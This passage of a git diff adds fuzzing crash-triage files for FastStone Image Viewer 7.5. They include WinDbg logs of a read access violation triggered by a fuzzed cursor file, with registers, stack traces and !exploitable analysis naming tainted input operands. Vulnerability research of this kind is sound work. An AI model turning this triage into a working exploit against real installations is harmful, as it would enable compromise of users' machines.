00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16fc.1354): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f17b10 edx=00003879 esi=ff230010 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.70691e+015 5.18207e-023 1.40375e-038 -1.03283e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ad000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ad000 f120ce20 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ad000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b257d1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19928/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1ca80aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e656e7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1DAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1DAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1dac.1244): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07ed7b10 edx=00003879 esi=fce30010 edi=0f670fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.84264e+030 1.36725e-005 4.7536e-006 -3.32605e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a6000 85d78f35 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e656e7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1DAC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1DAC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 